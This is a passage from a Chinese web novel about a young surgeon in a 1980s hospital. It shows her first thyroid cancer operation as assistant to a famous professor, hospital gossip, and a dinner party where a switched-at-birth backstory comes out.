箫珵:“说了不担心那就是不担心,我百分之百相信她。” 陆随:“哦,我百分之一千。” 其他医生压低声音,“他俩……是不是把脑子撞坏了?” “八成是病了。” “那得去神内神外看病吧?” 陆随:“……” 箫珵:“……” 其他医生护士们已经准备好,陆嘉述走上台。 她平时走路慢,但在台上时健步如飞。 “幸起,十二岁,2B型多发性内分泌肿瘤,存在甲状腺髓样癌、先天性巨结肠、口腔黏膜神经瘤,无肾上腺嗜铬细胞瘤。现行甲状腺癌扩大根治术和颈淋巴结清扫术。” 陆嘉述看向南栀,轻轻点头。 南栀走上前。 手术只有二助,麻醉医生和几名护士与陆嘉述、南栀都不熟悉。 他们对陆嘉述百分百信任,但对南栀这个新人都很陌生。 除了儿科的几人,没人知道陆嘉述为何要让她做一助,听说以前都没上过台。 幸起全身麻醉,体位是南栀调整的,仰卧位、垫高肩部,头后仰,可以充分显露颈部。 在后世手术时,头部两侧还可以用小沙袋固定,这里没有,只能用其他东西代替,效果不如沙袋好。 陆嘉述道:“划皮、拉钩、缝皮,你来。” 南栀点头。 里里外外的医生看得全神贯注。 陆嘉述的水平,这些事她其实顺手做了更快,让南栀来,明显是要栽培她。 能让陆嘉述栽培的人…… 手术室外终于有人想起南栀和陆随的关系,“我想起来了!她是陆医生的未婚妻!” 难怪要栽培! 箫珵凉凉地道:“有的人本事差,和**结婚都没人栽培。” 陆随说:“做手术也看天赋,以为结婚就能解决问题的人,就去多结几次婚,以后能成熟手。” 医生们:“……” 他们再次窃窃私语—— “萧医生和陆医生都向着她诶。” “这姑娘到底什么来路?” “估计不是普通人吧。” 箫珵说:“南栀来自大桑村,是被下乡医疗队挖掘的,和你们口中的男人一点儿关系都没有。” 陆随:“……别误伤。” 箫珵微笑,“南栀凭本事进医学院的时候,你也就那样。” 陆随:“……” 他不也是在向着南栀说话吗! 先上手的是南栀,她先在颈静脉切迹上方大约2横指处做弧形切口。 用丝线缝合上下皮瓣,再用电脑将疏松组织进行分离。 处理好后,才用小拉钩拉开切口,再用丝线缝扎两侧颈前静脉。 南栀处理的部分,切口小、损伤小,动作干净利落,看起来相当熟练,根本不像是第一次上台的。 二助干看着,无事可做。 如果不是陆嘉述咳了两声,南栀还能继续往下做。 医生们:“……” “第一次?” “说笑呢吧,比我都熟练。” “你看切口,多漂亮。” 陆随淡笑。 箫珵原本也挺开心,但看陆随笑,他就不太舒服。 箫珵低声提醒,“是我妹妹。” 陆随:“我未婚妻。” 箫珵:“你们不是假的吗?!” 陆随:“你大声喊啊,告诉他们啊。” 箫珵:“……” 流氓,陆随就是个臭流氓! 南栀的工作结束,接下来只负责拉钩。 陆嘉述上手,她的动作同样干净,而且比南栀熟练。 不过她的速度不快,每做一步都要和南栀讲解。 手术室外的医生都羡慕坏了,“看看,真是要收徒了。” “做医生不就这样吗,一代传承一代,都得学。咱们医院不错了,听说恩德医院有刀霸,主任不让底下的人做手术练手。” “师父也有区别啊!看看人家,有陆教授当师父,这还怕什么?说不定明天就能上台主刀!” “你别说,我看她的手速,不用明天,现在让她继续做,她也敢。” 陆随弯起唇。 箫珵黑着脸看他,越看越不对劲。 这个陆随,不会早就对南栀有所图谋吧?一定是,说不定在学校就看上南栀了! 他妹妹聪明可爱长得好看水平还高,陆随能不喜欢?! 箫珵低声提醒,“我妹妹很单纯,你别使坏。” 陆随:“哦。” 箫珵:“她的水平你知道,你别耽误她。” 陆随:“我一心外医生,耽误得着吗?” 箫珵:“她长得漂亮,你别想做坏事。” 陆随:“啊?什么坏事?” 箫珵:“……” 这点还是不说比较好,说了陆随反而知道了。 箫珵道:“她是难得的智商情商双高,她这样的人……” 陆随摸了摸箫珵的额头,“你是不是发烧了?” 南栀情商高? 这兄妹俩都疯了吧? 箫珵:“!!,总之,你不能辜负她!!” 陆嘉述处理完峡部后,开始进行淋巴结清扫。 据南栀所知,后世对于儿童甲状腺癌的淋巴结清扫范围尚未有定论。 特别是中央区的清扫存在正义。 恰好陆嘉述问道:“单侧还是双侧?” 南栀不假思索道:“双侧。” 陆嘉述点头道:“清扫时要小心,可能出现喉返神经损伤、误切甲状旁腺或者损伤血管的问题。” 南栀看过目前的教科书,没有提到类似问题。 她问:“您是在哪里学的?” “学?”陆嘉述语气轻松,“做得多了就知道了。” 南栀:“……” 果然经验是无价的! 南栀看陆嘉述的目光都成了星星眼。 这目光陆随极为熟悉,前几天南栀看他时也是如此。 陆随:“……” 他看向箫珵,“咱们科就没有更复杂的手术要做吗?” 箫珵:“你有病吧,咒着人家生病?” 陆随叹气。 其余医生们更是茫然。 “她们在说什么?” “呃,好像是一些问题,我不太清楚,老师没教过。” “其实刚刚陆教授说的好多东西我都没听过,看陆教授做手术真的受益匪浅。” “但是南栀好像都明白!!” 这是最让人难过的。 南栀理解得很快,陆嘉述从未重复过一句话。 此时此刻,他们多希望南栀能替他们多问几句,可南栀从来没问过!! 最开始他们以为南栀是害怕被责罚,听不懂也要装懂。 但很快南栀便因为手术进展重复了陆嘉述的话,一字不差! 记忆力好也不是这么个好法!! “快看快看,南栀缝合。” 等双侧甲状腺残面止血后,南栀用热生理盐水纱布敷创面,取出垫物后再移走纱布,然后按照步骤依次检查出血点,还要放置细引流管。 全程陆嘉述没有任何提醒。 全做好后,南栀才逐层缝合。 “你们别说,谁要是第一次能缝成这样,她只要脑子不差劲,将来肯定牛。” “说不定比陆教授还牛。” 箫珵也感慨道:“南栀在做手术这方面真的很有天赋,她也喜欢,以前我就天天看她练,幸好她还能走这条路。” 陆随微笑,“恩,我未婚妻。” 箫珵:“……我妹妹。” “我未婚妻。” “我妹妹!” 陆随:“你和他们说,来,大声点。” 箫珵:“……” 他可太生气了! 手术结束,陆随和箫珵也打道回府,他们可不想让南栀认为他们对她没信心。 两人刚一转头便惊呆了。 手术室外的小房间密密麻麻站着一群外科医生。 陆随:“……” 箫珵:“……” 有这么好看吗?! 第57章 第57章聚会啦 南栀第一次上台做一助,感觉良好。 甲状腺方面的手术她也看过几台,步骤她记得很清楚,就是没有见过真的各种器官,今天算是都见过了。 陆嘉述教得也详细,但手术进度却没拖慢,可见两个人一个手术做得快,一个消化接受快。 幸起被推走,南栀走出手术室,被门外的医生们吓了一跳。 她低声对陆嘉述道:“陆教授,咱们医院的规矩是做手术时全院围观吗?” 真是爱学习啊! 陆嘉述笑道:“看我的,看录像设备的,看你的。” 陆嘉述敢肯定,在场的人看完这场手术后,都会被南栀的水平惊艳。 如果不是亲眼所见,她也不相信有人第一次上台就能做得这般好。 手稳、记忆力好是其次,南栀实在太冷静。 她碰人的组织,就像在碰普普通通的东西,从头到尾没有任何改变。 这对绝大部分人来说都是难以做到的,包括陆嘉述。 她第一次做手术是做的阑尾炎手术,见了才知道阑尾和教科书上画的不同,和她在尸体里看到的也不同,还险些没找到阑尾,当时有点儿小慌乱。 南栀也没亲眼见过,但她不会慌乱,她能迅速地接受一切,然后迅速调整好,以求手术做到最好。 这太难得。 果不其然,南栀一出来就有不少医生围上来,“南医生,你就是儿科那位?我天天听骨科夸你。” “你的手也太巧了,平时用什么练?不像是第一次。” “最重要的是手稳,你看着瘦,我看看,哎呀,肌肉不小啊。” 南栀被夸得有点儿不好意思。 以前同学和老师也会夸她,但同学们毕竟都没做过医生。 现在被很多医生夸奖,她心里高兴得很。 南栀一一回答。 “真勤奋,有天赋还勤奋,让我们怎么活!” “其实我也有很多问题,唉,我老师都解答不了。” 科技限制,南栀懂。 她认真说道:“你们可以多关注医学期刊,会有最新的研究或者疑难杂症,都可以参考。” 她用“高仁”的名字又投了几篇文章。 写的内容包含各个科室,都是她在后世学过,但是现在还没研究的内容。 《孙晔》的主编给康宁医院来了电话,提出见她一面,她当然拒绝。 听说这几篇文章会陆续刊登出来。 能帮到大家是好事。 康宁医院也有人关注医学发展。 南栀走后她才想起来,“说起杂志,儿科有一个医生投中了《孙晔》,你们听说过吗?是说克罗恩病的,我记得好像就是南医生接诊的。” “高仁?我们讨论过好几次,儿科有这么个人吗?” “当然没有!我去找过!当时还不明白为什么,你们说,高仁会不会就是南医生啊?” 几人茫然地看着彼此,想不通其中缘由。 有人总结道:“如果是的话,那南医生的化名……还怪难听的嘞。” * 幸起的手术很成功,人被送到ICU监护。 “患儿的血钙、PTH都正常,未发生甲状腺功能减退的情况。” 陆嘉述给开了口服左旋甲状腺素片。 儿科所有人都聚在南栀和盛昭云的办公室。 “幸起的情况,后续还得再观察,原发肿瘤可能转移复发,可能还得再接受巨结肠切除术。无论如何都得再关注个几年,这可不是小病。” 门外的戴菲菲:“……” 以为做完手术就能趾高气扬了呢。 没脾气。 陆嘉述给几人讲解如何鉴别诊断病情。 譬如,可能导致便秘的其他疾病,像是功能性便秘、慢性假性肠梗阻、囊性纤维化。 再比如甲状腺功能低下的鉴别。 所有人都在认真记笔记,包括韦宁雨。 阮乔无语,“你一个护士,总跟着我们掺和什么?” “你不懂,”韦宁雨说,“我多学学,将来如果能做医生,我就去开私人医院。” 专门做高难度的大手术,往死里收钱! 阮乔:“……” 南栀评价道:“颇具资本主义家特性。” 韦宁雨:“别害我!!” 陆嘉述这也算是讲课了,很少有人能有这福气。 路过儿科办公室的其他科室医生无比羡慕。 怎么人家科室就有这运气呢? 儿科以前还是医院最差的科室,现在已经完全不同了! * 郁格每天都会来医院看望郁薇。 只是他白天要上班,总是错过能看郁薇的时间,只能晚上求着ICU的医生护士放他进去。 规矩是死的,人是活的,郁格嘴甜好说话,真有两个人被说动了,偷偷让他去看过郁薇几次。 郁薇的状况在一天天好转。 她求生欲强烈,年轻,生命力顽强,撑过了感染,这几天大部分时 间都是清醒的。 郁格来时,探望时间早已结束。 护士为难道:“今天真的不行,我们主任在。” 领导在,郁格就不为难了,他给护士送上带来的晚饭,夸了对方好几句才离开。 他走出医院,看到路边开了几朵野花。 郁格看向医院内,他想去看看外甥,果然又没看成,听说儿科的医生都还没下班。 郁格摘下野花,返回医院。 陆嘉述讲课,南栀将笔记记得满满的。 看病做手术经常会遇到一些难以想到的问题,陆嘉述正在传授类似的经验。 如果让韦宁雨来看,这份笔记价值连城! 他偷偷和南栀说道:“如果能把老教授们的经验汇总起来,找出版社合作,你说能不能多卖几本书?” 找老教授们是不太现实了,他们只认识陆嘉述。 陆嘉述原本也没想教他们,现在能说几句就很不错了。 但韦宁雨的话还是给南栀启发。 如果是医学期刊,流通的范围其实不大,很多医生都不买。 但若是出书……是不是能有更多的人看到? 不过以她现在的名气,很难出书,还得等以后再说。 想要补这么多年科技水平带来的差距实在太难,这事得慢慢做。 敲门声忽然响起来。 南栀离门口最近,起身去开门。 郁格举着几朵野花站在门口,笑容灿烂地和她打招呼,“谢谢啦,我姐这几天越来越好了。” 感谢医生很常见,但拿着野花来感谢的不太多。 盛昭云几人纷纷看过来。 陆嘉述一看到野花,脸色就差了。 这不能怪陆教授,南栀现在可是陆教授未来的孙媳妇,当着她的面勾搭人家孙媳妇,谁能乐意? 郁格道:“要不是你,我姐和我外甥现在还不知道会怎么样,所以我特别来感谢你。” 南栀疑惑片刻,接过花,“原来你是要送花给陆医生?好吧,我替你转交。” 给郁薇手术的是陆随,能谢得着她吗? 盛昭云:“……” 阮乔:“……” 南栀这辈子估计很难找到对象了。 郁格憨笑道:“不是,就是来谢你的,我和陆医生不熟,和你比较熟。” “不会啊,”南栀说,“那天在幼儿园,陆医生也去了,后来你俩一直在一起。” 盛昭云:“……” 阮乔:“……” 还好有陆医生,不然他们家南栀八成要钻研医学一辈子。 郁格也有点儿接不上这话。 不过他早就习惯南栀的直来直往了,他保持热心的笑容,说道:“直说了吧,我就是为了你过来的,能出来说几句话吗?” 总不能在这么多人面前说。 还不等南栀开口,陆嘉述便冷声道:“不行,追姑娘还拿朵野花,没见过这么抠门的。” 郁格:“你这老太太……” 南栀说:“这是陆教授。” 郁格不服气,“就算是教授,也不能这么说话吧。” 陆嘉述持续冷笑,“能被几朵野花哄走得姑娘都傻,怎么说也得要店里的鲜花。” 郁格很郁闷。 南栀问:“为什么一定要花呢?” 阮乔说:“哎呀,表达好感的时候你说要用什么?” 南栀恍然大悟,“郁格……喜欢陆医生啊?呃,这不能答应吧?” 阮乔:“……” 大家又一次集体沉默。 南栀把花还给郁格,为难道:“陆医生肯定不喜欢,算了吧,我不能得罪陆医生。” 郁格差点儿被南栀说哭了。 他喜欢陆随?她怎么想的! 陆嘉述趁机说道:“这就对了,要懂得分辨人的真心,快出去吧,我们要继续开会!” 可不能让男人拖累南栀! 韦宁雨帮陆嘉述把郁格送出去。 阮乔、盛昭云频频摇头。 怎么想的,人家陆教授当然要向着自己的孙子啦,能理会郁格吗? 课程没能继续多久,敲门声再次响起。 陆随推开门,看了一圈,问:“都值班?” 阮乔&盛昭云:对嘛,这才是正宫,这才是陆教授喜欢的! 然而不等陆随继续说,陆嘉述就暴躁道:“你也离南栀远点!!” 都别想打扰南栀学习!! 阮乔&盛昭云:“……” 果然天才都是奇葩。 往后一个月,陆嘉述一直没提离开的事。 她不说,祁念珍就不提,陆嘉述能多待几天,肯定对儿科有好处。 现在儿科的面貌那叫一个焕然一新。 所有人都在努力学习,阮乔进步神速,再也不是从前种花种草的阮乔了! 阮乔要再不停手,她都心疼那些无辜死去的花儿。 不过奇怪的是,陆嘉述现在专挑需要做小手术的病看。 其他病她也看,但不太主动,除非是疑难杂症。 要做小手术的就不同了,她一定要往跟前凑凑,而且必定带上南栀。 每一台手术,南栀都是一助,她上台的次数猛增,都快赶上箫珵一个月的手术数量了。 有陆嘉述在,祁念珍又成功忽悠来两个医生到儿科,再加上补过来的护士,儿科算是不缺人了。 天气越来越冷。 南栀今天独立做了一台甲状腺部分切除术,是给一个十八岁的女孩做手术。 十八岁已经成年,按照康宁医院的规定,得去甲状腺科就诊,是陆嘉述大手一挥,把人抢过来的。 安排好后南栀就去给她做了手术。 整个手术过程顺利、漂亮,原本还对南栀有疑虑的一助、护士都不再多说。 只有普外很郁闷,当晚他们就开了个小会,研究以后如何防止陆嘉述来抢人。 陆嘉述不可能一直待在康宁医院,以后要防的人是……南栀!! 这家伙看起来和陆嘉述一样难缠! 周五晚上,南栀难得有两天完整的假期。 做医生这行经常要加班,南栀都已经习惯了。 陆嘉述下周就要离开康宁医院,他们几人约好要去陆家看望陆教授。 阮乔挽着南栀嘻嘻哈哈走在前面,韦宁雨被迫和盛昭云走在一排。 韦宁雨:“……” 和盛昭云走在一排?? 韦宁雨大气都不敢出。 他可害怕盛医生,盛医生说一不二的,气场太强大。 韦宁雨这种学渣在盛昭云面前根本不够看的。 盛昭云看向韦宁雨。 韦宁雨赶紧往后退两步,满脸堆笑,“您先走。” 盛昭云漫不经心收回目光,“开了。” 韦宁雨:“?” 盛昭云又瞥了他一眼,“腰带开了。” 韦宁雨:“……,啊?!” 他捂着裤子满脸通红。 盛昭云笑容和善,“没什么好看的,别担心。” 韦宁雨:“……” 他就说不该和盛昭云走在一起! 盛昭云忽然停下。 韦宁雨也赶紧站稳,“您……” 盛昭云说:“你看。” 韦宁雨好奇地看过去,“看谁啊?” 盛昭云说:“韦初雪来了。” 马路口,韦初雪穿着便衣在等他们。 韦初雪经常加班,大家对她的印象大多停留在白大褂上。 韦宁雨故作淡定,“来就来呗,她最近经常来找南栀。” 盛昭云挑眉,“你不介意?” 韦宁雨:“……我为什么介意?” 盛昭云微笑,“都姓韦,巧合?你撒谎,还得再练练。” 韦宁雨:“……” 真是可怕的盛医生。 第58章 第58章不治不治 除了南栀,其余人都有些怕陆嘉述。 陆嘉述毕竟是名声在外的老教授,康宁医院的院长们连她的脚趾跟都摸不到,更别提他们这些普通医生。 在陆教授家,他们还是有些拘束的。 但南栀除外。 南栀一直跟在陆嘉述左右,“教授教授,这看这台手术……” “教授教授,还有这一台……” 阮乔和韦宁雨看得龇牙咧嘴。 阮乔低声道:“南栀提问,看起来 像问题很难。我提问,看起来就像我是笨蛋,这差距也太大了。” 韦宁雨道:“有没有一种可能。” 阮乔:“?” 韦宁雨:“其实你真的是笨蛋?” 阮乔:“你要死啊!” 韦初雪坐在二人对面,淡定地喝茶。 她不是第一次来陆家。 阮乔好奇地打量韦初雪。 韦初雪在医院时挺不好相处的,阮乔没和她有过交集。 韦初雪也看不上她这种混日子的。 今天他们居然能坐在一起,也是奇怪。 韦宁雨敲敲桌子,低声提醒,“你再看就要挨骂了。” 果不其然,韦宁雨刚说完,韦初雪便冷声道:“你再看我,开刀技术也不会进步。” 阮乔:“……” 她真诚问道:“你是不是不骂人会不开心啊。” 韦初雪:“这不是骂人,是实话。” 阮乔:“……” 更扎心了。 她气呼呼道:“我又不开刀,当然不会进步!” 她以后非要努力上台,她要给南栀做助手,然后主刀! 志向忽然远大! 韦宁雨无语地摇头。 阮乔就是年纪轻,三言两语就被气到了,哪里像他,沉着冷静,同辈中的翘楚。 韦初雪接着说:“还有你,赚钱有意思吗?就不能多花功夫在专业上?” 韦宁雨:“……” 他咬牙切齿,“赚钱没意思,你倒是别花钱。” 韦初雪:“我从来不买多余的东西。” 韦宁雨:“你的衣服不花钱吗?鞋不花钱吗?都脱了!” “呵,”韦初雪说,“胡搅蛮缠。” 韦宁雨:“……” 比南栀还气人! 阮乔乐了,“你也不是她的对手啊。” 心理平衡许多。 面对南栀和陆嘉述时,韦初雪的态度就全变了。 “你要的资料我准备好了,你先看看,不够的话我再去找。” 韦初雪口中的资料指的是目前国内各大医院的设备数据,南栀想知道现在的检查能做到什么地步。 阮乔和韦宁雨一起摇头。 这叫什么?对强者的崇拜?? 聚会是阮乔提出的,韦初雪和箫珵都是后来加入的。 也是挺奇怪的,现在心外的两个大神和韦初雪这个前途光明的人都喜欢往儿科跑,经常主动靠近儿科。 在陆家聚会,则是陆嘉述定的,陆嘉述还找了大厨。 满桌的菜都是她点的,有中餐也有西餐,陆嘉述曾去欧洲进修,其间还去援助非洲,吃得惯国外的东西。 南栀看到桌上堆得满满的肉,眼睛都直了。 中餐是常见的家常菜,有红烧排骨、糖醋里脊,西餐也有炸鸡腿、炸鸡翅。 当然,蔬菜也是必须有的,但是南栀现在眼里只能看到肉。 她每天都要锻炼,还要按照份额吃肉,实在是馋。 陆嘉述语重心长地教育她,“我们做医生是为了什么?不就是想多治几个病人吗?” 其余人频频点头。 老教授的教育要多听! 陆嘉述说:“所以啊,做医生的人才不能亏待自己,我们要吃得好,住得好,用得好,什么好我们就用什么,知道吗?” 众人:“……” 这对吗? 大家看看陆家的大别墅。 在很多人还在挤家属楼时就有的大别墅。 恩,这对。 陆嘉述一番教导令人泪目。 韦宁雨看着韦初雪小声吐槽,“这会儿怎么不说努力了、奋斗了、无私了?” 韦初雪仍然淡定,“我傻?” 韦宁雨:“……” 气人! 南栀敞开了吃。 陆随坐在她身边,箫珵只能坐在陆随旁边。 这就是不能光明正大当哥哥的坏处。 陆随给她夹了些菜,“别不好意……” 他看到南栀碗里的骨头堆。 陆随:“……” 不会不好意思的。 箫珵笑笑,“拍马屁拍腿上了。” 陆随淡定道:“比没机会拍的人强。” 箫珵:“……” 他如果以现在的身份给南栀夹菜,肯定要被议论。 箫珵很郁闷。 韦初雪和陆嘉述聊起几位院长。 几位院长都曾与陆嘉述短暂共事过两年。 “你现在跟着汤兴生?” 韦初雪道:“汤院长调我过去帮忙,不过我还是更喜欢留在科室。” “研究哪个方向?” “最近对脑瘤比较感兴趣。” 陆嘉述点头,“也得多练。” 她话锋一转,“不过啊,小汤这人,啧,上进心很强。” 韦初雪淡笑:“汤院长有他担心的事。” “小祁在这方面就好多了,比较惜才。” “的确,汤院长其实没有担心的必要,陆医生和萧医生都是可造之才……” 大家看向二人。 两个可造之才正盯着南栀啃鸡腿。 陆随说:“你慢点吃,还有。” 箫珵:“你小时候如果能吃得好一些,还能再长高。” 阮乔&韦宁雨&盛昭云:“……” 韦初雪无语道:“但都不想走仕途,不会挡汤院长的路。” 真要说起来有前途的…… 陆嘉述道:“如果南栀有野心,他倒是该多担心,南栀想往上走,谁也拦不住。” 大家再次看向南栀。 南栀放下啃了一半的鸡腿,茫然地看着他们。 谁有野心?她吗? 阮乔&韦宁雨&盛昭云:“……” 韦初雪:“算了,不说了。” 儿科现在能排得开班,南栀几人第二天都不用值班。 阮乔主动给韦初雪倒酒,“韦医生,我一直很好奇,你是怎么做到随时都斗志昂扬的?” 韦初雪垂眸看向酒杯,没拒绝。 韦宁雨帮着给其他人倒酒。 南栀拒绝道:“我不喝酒,我怕手抖。” 陆随亦挡住杯子,“我也不喝。” 陆嘉述怂恿道:“你是男生,还能一点儿酒都不喝?将来免不了要应酬。” 韦宁雨立刻问道:“陆教授来点儿?” 陆嘉述也拒绝,“我也怕手抖。” 陆随:“……” 他也是外科医生啊。 原主是亲生的吗? 确定不是路边捡来的? 陆嘉述是典型的看热闹不嫌事大,不正经。 陆随现在知道,为何其他人提起陆嘉述,除了赞美她的医术外,在其他方面都是批评的态度。 也就是她的技术太硬,才没人敢说她什么。 陆嘉述虽然不管陆随,但对南栀很上心,“不喝酒是对的,如果你有机会去急诊,就会知道有多少人年纪轻轻就喝酒喝死。” 陆随问:“我真的是您的孙子?” 陆嘉述点头,“这还有假?你爷爷入赘,你跟我姓。” 陆随:“我总觉得您要害我。” 陆嘉述笑眯眯道:“你小子,怎么教你你都要被欺负,我可不敢管你的事,我怕气死自己。” 原主念书时就被欺负过。 陆嘉述教得比较直白,谁骂他就骂回去,谁打他就打回去。 这听起来当然不对,但确实是陆嘉述这么多年的处事原则。 但原主不敢。 别人骂他,他不吭声,别人打他,他缩起来不动。 可把陆嘉述气坏了。 她帮着孙子出了几次头,后来这孩子越来越内向,陆嘉述都不敢听他的故事。 就怕把自己气死。 人吧,就是不能生气,总生气什么病都找能找来。 陆随无奈。 不过没关系,奶奶愿意教南栀也行,随了南栀的心愿。 其余人都不敢多喝,怕医院临时有事。 韦初雪最不胜酒力,喝了两杯啤酒就离席了。 南栀全程安静地啃鸡腿、啃排骨。 陆随好奇道:“真有这么好吃?” 南栀点头,“猪肉是限量的,你不知道吗?” 陆随看向陆嘉述。 有陆嘉述在,他能知道吗? “现在还限量,我还以为改革开放以后就都不限了。” 南栀说:“粮票还在用呢,还得再用几年 。” 陆随点头,又给南栀夹糖醋里脊,“这个也好吃,你尝尝。” 他顺便再给南栀重新倒一杯汽水。 盛昭云漫不经心道:“陆医生对南栀挺上心。” 阮乔轻哼。 这俩人还说什么只是一起做个戏,不想总去相亲,就这是做戏? 怎么没人和她做戏? 鸡腿怎么不会自动跳进她的碗里? 箫珵也多看了二人一眼,越看眉头皱得越紧。 南栀吧…… 陆随吧…… 陆随这人…… 他转过身,不想再看两人。 韦初雪有一会儿没回来,盛昭云问韦宁雨,“不去接她下来?” 阮乔的吃瓜雷达疯狂尖叫,“为什么要去接,难道你俩……” 盛昭云惊讶,“你连阮乔都没说。” 韦宁雨:“……” 阮乔拿起切水果的匕首,“你快说,不说我就捅死自己。” 韦宁雨:“……” “我也不是有意要瞒着你们,你们没人问过啊。” 阮乔问:“你俩已经结婚领证了?怀孕可不能喝酒。不会已经有孩子了吧,孩子上小学了吗……” “打住,”韦宁雨嫌弃道,“再说几句,我都入土为安了。” 阮乔:“你可不见得能买得起墓地。” 韦宁雨:“……” 最近一段时间,韦宁雨和大家相处得倒也融洽,这种事倒是没什么好隐瞒的。 “其实吧,我俩之间,还真有点儿事。” 南栀问:“你们是兄妹?” 两人同姓,名字还又是雪又是雨的。 韦宁雨沉重道:“我们的确是异父异母的兄妹。” 这事说起来还有点儿狗血。 韦宁雨和韦初雪都是在镇里出生的。 当时能证明婴儿身份的只有手带,很不巧,俩人被抱错了。 韦宁雨十六七岁时,亲生父母找过来,把他接到临川市。 韦家富裕,养父母也支持他回家。 同时,韦家还留下了韦初雪。 阮乔问:“也就是说,你其实是有钱人家的孩子?” 韦宁雨点头,“不过我可不想花他们的钱。” 他努力赚钱,就是为了证明他可以赚钱!不需要韦家帮忙! 阮乔倒满一杯啤酒,“韦哥,我敬你。” 盛昭云道:“韦哥,以后多帮忙。” 南栀犹豫了一下,不想不合群,“韦哥,以后收购医院,多给我分几台手术。” 韦宁雨:“……” 他就知道这群人没一个真心的! 都是冲着他的钱! 韦宁雨道:“我才不想靠他们家,还非得给我改名,现在想想都生气。我爸妈对我挺好的。” 南栀问:“你养父母现在在哪?” “也在临川,”韦宁雨说,“几年前我攒够了钱,托人买了一套小房子让他们住。” 阮乔敏锐地抓住重点,“韦哥,几年前你就赚够买房子的钱了?小妹以前多有得罪,您大人有大量。” 盛昭云举起酒杯,“我干了,您随意。” 南栀说:“以后我可以帮您做手术。” 韦宁雨:“……” 他们的相处一点儿都不融洽! 韦宁雨喝了不少脾气,起身去找洗手间。 他们家和陆家差不多,都是住别墅,房里都有洗手间。 以前他和父母住在镇上,家里只有平房,要去公共厕所,和大家一起开大会,他反倒比较怀念那会儿。 韦宁雨在洗手间门口遇到韦初雪。 韦初雪脸颊很红,大约喝酒比较少,不太习惯。 韦宁雨瞥了韦初雪一眼,想当看不见。 他俩从见面起就不对付,这么多年在医院看见彼此,都当不认识。 韦初雪也看到韦宁雨。 她板着脸给他让路。 韦宁雨撇嘴。 她的表情总是像班主任,惹人烦。 韦宁雨不想理她。 韦初雪避开韦宁雨,正要下楼,眼前却黑了一瞬,她扶住墙,左脑隐隐作痛。 韦宁雨看了她好几眼。 韦初雪要强,几乎不会在外人面前表现出弱势的一面。 韦宁雨碰了碰她的肩膀,“喂,加班加多了?” 韦初雪迅速站直,淡定道:“皮肤病牵扯的神经痛吧。” 韦宁雨果然看到她脸上有些不明显的红豆豆。 “那还敢喝酒,”韦宁雨嘀咕道,“一点儿都不把自己的身体放在心上。” 韦初雪丢下“啰嗦”二字便离开。 韦宁雨:“……” 他就不该管她的任何事! 一帮人聚到八点钟,这个时间黄春兰和南明杰都快睡了。 陆嘉述给他们留了家里的联系方式,如果他们再有什么问题,还可以来问她。 不过基本上只有南栀能用到,他们不懂的问题,问南栀就行。 陆随和箫珵一起送南栀回家。 等南栀出来的功夫,箫珵有意无意提醒道:“我听说有个消防员今天去给南栀送花了。” 陆随面不改色,“哦。” 箫珵:“你不介意?” 陆随看过来,很是莫名其妙,“为什么在意?” “送花,有人给南栀送花!” 他到底是不是喜欢南栀啊? 陆随问:“送花怎么了?为什么送花?” 箫珵:“……” 他们陆随也是不食人间烟火的。 箫珵不能指望陆随这个生活里只有手术和实验室的人懂如何追女生。 箫珵有点儿着急,“男人给女人送花,你说为什么?说明他对南栀有好感!你得把他对南栀的感情扼杀在摇篮里!而且你也太抠了,怎么都不见你给南栀送点儿什么?” 箫珵说完,发现不太对劲。 他怎么教上陆随了?? 陆随虚心请教,“我为什么要送东西?” 箫珵:“……” 箫珵的目光太像看傻子,陆随知错就改,换了一个问题,“我该送什么?” 箫珵:“送花、送蛋糕……不对,该送南栀喜欢的东西。” 不过南栀喜欢什么? 箫珵对南栀是有愧疚的。 母亲自尽前给他安排了出路,却只给南栀一条死路。 他一直以为南栀也被淹死,只是河水太急才没找到尸体。 就连两人刚相认时,箫珵都不敢面对南栀,可是南栀完全不在意过去。 她没有怨恨母亲,也没有怪箫珵。 对于生活中的苦难,她没有抱怨过一句,反倒总是提起老师同学们对她有多好。 箫珵想对南栀更好些,都不知道该从哪方面下手,她总是无欲无求的。 他总不能去找些病人送给南栀吧? 所以他也不知道南栀喜欢什么,真是苦恼极了。 陆随却好像已经被箫珵点头,他微笑道:“明白了。” 箫珵:“?” 明白什么了? 韦宁雨一般情况下都会去找养父母,不怎么回韦家。 但韦初雪回席后一直没说过话,好像还 是不舒服。 韦宁雨内心挣扎良久,板起脸走到韦初雪旁边,“一起回去吧。” 韦初雪正要拒绝,陆嘉述便说道:“也好,你一个小姑娘自己回去让人担心。” 韦初雪是不会说陆教授不好的,只好点头。 她是走过来的,韦宁雨骑自行车带她。 一路上,两人都没说过一句话。 韦家别墅离得不远。 十几分钟后,韦宁雨催韦初雪下来。 往下跳时,韦初雪又感到一阵眩晕。 韦宁雨赶紧扶住她,“你是加了多少班才能加成这样?” 韦初雪细胳膊细腿的,脸色也不好,一张脸总是惨白的,看着就病恹恹的。 韦初雪不语。 她已经头疼过几次了,每次持续的时间不长,但是最近很频繁。 从前天起,她就有些头痛,断断续续地一直没停下。 韦宁雨道:“就你这身体还天天奋斗?我看陆教授说得没错,自己的健康都保证不了,还谈给病人治病?算了吧,赶紧去做个检查。” 韦初雪难得没和韦宁雨作对,“明天我会去检查。” 韦宁雨撇撇嘴。 韦家的阿姨听到动静走出来,看到竟然是韦宁雨和韦初雪,惊喜道:“你们怎么一起回来了?可真是好久没看到你们了!你们爸妈一定很高兴!” 韦宁雨惊讶道:“你也一直没回家?” 韦宁雨回来后,其实不太受待见,他的习惯和他们有很大差异。 韦宁雨脾气倔,不肯低头,一心想回养父母身边,两边的关系一直不好。 而且韦初雪毕竟一直在他们身边,他们对韦初雪的感情更好很正常。 韦宁雨不想搅和到他们的关系里,把养父母接到临川后就一直没怎么回来过。 韦初雪竟然也不回家? 真是怪了,韦宁雨刚来时,韦初雪和父母很亲的。 韦初雪摇摇头,没多解释。 韦宁雨道:“你还真是奇怪,在医院总是要让人奋斗,说你在乎陆随吧,但也不是喜欢他。有家不回,总是留在医院,你和他们吵架了?” 韦初雪看向韦宁雨,“你真的很啰唆。” 韦宁雨:“……” 他确实不该管她!!晕在外面好了! * 陆嘉述回到从前的生活,遇到别人做不了的手术就去飞刀,平时便在家里的地下室做实验。 康宁医院儿科的患者倒是没想象中下降得那么多。 儿科最大的变化是,盛昭云被提到代理主任的位置。 主任一职不能总空着,盛昭云各方面能力突出,能管得好儿科。 等她评上职称,代理二字就能去了。 南栀和平常一样看诊。 上午过了几十个号,感冒发烧占大多数。 南栀挨个给他们听诊、开药,严重些的还要去挂水。 今天的小朋友们倒是很乖巧,哭得不太多。 